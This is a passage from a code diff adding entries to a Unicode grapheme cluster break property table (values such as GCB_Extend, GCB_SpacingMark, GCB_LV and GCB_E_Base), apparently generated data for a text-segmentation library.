+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_L,
+	GCB_V,
+	GCB_T,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Control,
+	GCB_Extend,
+	GCB_ZWJ,
+	GCB_Control,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_L,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_LV,
+	GCB_LVT,
+	GCB_Other,
+	GCB_V,
+	GCB_Other,
+	GCB_T,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Prepend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Prepend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Prepend,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Prepend,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Prepend,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Control,
+	GCB_Other,
+	GCB_Extend,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Other,
+	GCB_SpacingMark,
+	GCB_Extend,
+	GCB_Control,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Extend,
+	GCB_Other,
+	GCB_Regional_Indicator,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Modifier,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base_GAZ,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_Glue_After_Zwj,
+	GCB_Other,
+	GCB_E_Base,
